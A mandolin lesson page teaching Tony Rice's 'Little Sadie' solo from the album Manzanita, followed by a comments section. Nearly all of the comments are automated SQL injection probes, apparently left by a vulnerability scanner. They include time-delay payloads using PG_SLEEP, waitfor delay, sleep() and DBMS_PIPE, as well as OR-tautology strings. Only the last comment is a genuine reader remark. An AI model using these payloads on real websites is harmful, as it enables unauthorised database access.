Little Sadie - A Tony Rice Solo
Learning
This lesson is on a track from the classic album, "Manzanita" by singer and guitarist, Tony Rice. The name of the song is "Little Sadie" and is a traditional murder ballad. This solo is out of the D minor position but Tony puts the capo on the 2nd fret to play it in the key of E minor, most likely because that's the key that fit his voice best.
Here's the original recording of the song, where you can hear the solo in context:
And here's the solo fast and slow performed by Troy Boone, who plays mandolin with the bluegrass band, Sideline:
Thanks to Troy Boone for submitting figuring out this solo and sharing his picking. To hear more from Troy, like his facebook page here.
The tab for this song is out of D minor position and we've programmed the capo to be placed on the 2nd fret, so you should do the same when learning this solo. This will ensure that the notes you play are the same pitches as the one's being produced by the tab.
95 bpm
Easy
Hard
Comments
aYlNlfdX
07/12/2025, 11:03 AM
555
aYlNlfdX
07/12/2025, 10:51 AM
555
@@rDtaR
07/12/2025, 10:50 AM
555
aYlNlfdX'"
07/12/2025, 10:50 AM
555
aYlNlfdX����%2527%2522\'\"
07/12/2025, 10:50 AM
555
aYlNlfdX'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
07/12/2025, 10:50 AM
555
aYlNlfdX
07/12/2025, 10:50 AM
555
aYlNlfdXpPPWnIvA')) OR 550=(SELECT 550 FROM PG_SLEEP(15))--
07/12/2025, 10:50 AM
555
aYlNlfdXeJwqPfZH') OR 911=(SELECT 911 FROM PG_SLEEP(15))--
07/12/2025, 10:50 AM
555
aYlNlfdXZBFJi2og' OR 213=(SELECT 213 FROM PG_SLEEP(15))--
07/12/2025, 10:50 AM
555
aYlNlfdXFxjxNAZt'; waitfor delay '0:0:15' --
07/12/2025, 10:50 AM
555
aYlNlfdX-1 waitfor delay '0:0:15' --
07/12/2025, 10:50 AM
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
07/12/2025, 10:50 AM
555
aYlNlfdX0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
07/12/2025, 10:50 AM
555
aYlNlfdX0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
07/12/2025, 10:50 AM
555
if(now()=sysdate(),sleep(15),0)
07/12/2025, 10:49 AM
555
-1' OR 2+301-301-1=0+0+0+1 or 'tWMXyQL9'='
07/12/2025, 10:49 AM
555
-1" OR 2+318-318-1=0+0+0+1 --
07/12/2025, 10:49 AM
555
-1 OR 2+401-401-1=0+0+0+1 --
07/12/2025, 10:49 AM
555
-1 OR 2+620-620-1=0+0+0+1
07/12/2025, 10:49 AM
555
-1' OR 2+66-66-1=0+0+0+1 --
07/12/2025, 10:49 AM
555
aYlNlfdX
07/12/2025, 10:49 AM
555
aYlNlfdX
07/12/2025, 10:49 AM
555
aYlNlfdX
07/12/2025, 10:49 AM
555����%2527%2522\'\"
aYlNlfdX
07/12/2025, 10:49 AM
@@CITa6
aYlNlfdX
07/12/2025, 10:49 AM
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
aYlNlfdX
07/12/2025, 10:49 AM
555
aYlNlfdX
07/12/2025, 10:49 AM
555'"
aYlNlfdX
07/12/2025, 10:49 AM
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
aYlNlfdX
07/12/2025, 10:49 AM
555Jod9h5hG')) OR 430=(SELECT 430 FROM PG_SLEEP(15))--
aYlNlfdX
07/12/2025, 10:49 AM
555uzJS1gY3') OR 80=(SELECT 80 FROM PG_SLEEP(15))--
aYlNlfdX
07/12/2025, 10:49 AM
555ZWVRRKXn' OR 458=(SELECT 458 FROM PG_SLEEP(15))--
aYlNlfdX
07/12/2025, 10:49 AM
555-1)) OR 477=(SELECT 477 FROM PG_SLEEP(15))--
aYlNlfdX
07/12/2025, 10:49 AM
555-1) OR 950=(SELECT 950 FROM PG_SLEEP(15))--
aYlNlfdX
07/12/2025, 10:49 AM
555-1 OR 145=(SELECT 145 FROM PG_SLEEP(15))--
aYlNlfdX
07/12/2025, 10:49 AM
555wm9sbJaV'; waitfor delay '0:0:15' --
aYlNlfdX
07/12/2025, 10:49 AM
555-1 waitfor delay '0:0:15' --
aYlNlfdX
07/12/2025, 10:49 AM
555-1); waitfor delay '0:0:15' --
aYlNlfdX
07/12/2025, 10:49 AM
555-1; waitfor delay '0:0:15' --
aYlNlfdX
07/12/2025, 10:49 AM
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
aYlNlfdX
07/12/2025, 10:49 AM
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
aYlNlfdX
07/12/2025, 10:49 AM
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
aYlNlfdX
07/12/2025, 10:49 AM
555*if(now()=sysdate(),sleep(15),0)
aYlNlfdX
07/12/2025, 10:49 AM
-1" OR 2+637-637-1=0+0+0+1 --
aYlNlfdX
07/12/2025, 10:49 AM
-1' OR 2+45-45-1=0+0+0+1 --
aYlNlfdX
07/12/2025, 10:49 AM
-1' OR 2+760-760-1=0+0+0+1 or '264oMqPK'='
aYlNlfdX
07/12/2025, 10:49 AM
-1 OR 2+412-412-1=0+0+0+1 --
aYlNlfdX
07/12/2025, 10:49 AM
-1 OR 2+783-783-1=0+0+0+1
aYlNlfdX
07/12/2025, 10:48 AM
555
aYlNlfdX
07/12/2025, 10:48 AM
555
aYlNlfdX
07/12/2025, 10:48 AM
555
@@2I6pw
07/12/2025, 10:43 AM
1
'"
07/12/2025, 10:43 AM
1
����%2527%2522\'\"
07/12/2025, 10:43 AM
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
07/12/2025, 10:43 AM
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
07/12/2025, 10:43 AM
1
1Chm5HniS')) OR 503=(SELECT 503 FROM PG_SLEEP(15))--
07/12/2025, 10:42 AM
1
1aAZ4sswq') OR 261=(SELECT 261 FROM PG_SLEEP(15))--
07/12/2025, 10:42 AM
1
1JP795YEd' OR 113=(SELECT 113 FROM PG_SLEEP(15))--
07/12/2025, 10:42 AM
1
1-1)) OR 356=(SELECT 356 FROM PG_SLEEP(15))--
07/12/2025, 10:42 AM
1
1-1) OR 465=(SELECT 465 FROM PG_SLEEP(15))--
07/12/2025, 10:42 AM
1
1-1 OR 171=(SELECT 171 FROM PG_SLEEP(15))--
07/12/2025, 10:42 AM
1
15B3hMi0I'; waitfor delay '0:0:15' --
07/12/2025, 10:42 AM
1
1-1 waitfor delay '0:0:15' --
07/12/2025, 10:42 AM
1
1-1); waitfor delay '0:0:15' --
07/12/2025, 10:42 AM
1
1-1; waitfor delay '0:0:15' --
07/12/2025, 10:42 AM
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
07/12/2025, 10:42 AM
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
07/12/2025, 10:42 AM
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
07/12/2025, 10:42 AM
1
1*if(now()=sysdate(),sleep(15),0)
07/12/2025, 10:42 AM
1
-1" OR 2+456-456-1=0+0+0+1 --
07/12/2025, 10:41 AM
1
-1' OR 2+877-877-1=0+0+0+1 --
07/12/2025, 10:41 AM
1
-1' OR 2+662-662-1=0+0+0+1 or 'jMVXhGIt'='
07/12/2025, 10:41 AM
1
-1 OR 2+266-266-1=0+0+0+1
07/12/2025, 10:41 AM
1
1
07/12/2025, 10:41 AM
1
-1 OR 2+116-116-1=0+0+0+1 --
07/12/2025, 10:41 AM
1
1
07/12/2025, 10:41 AM
1
Michael K Gelormino
01/01/2025, 19:28 PM
Awesome transcription - thanks very much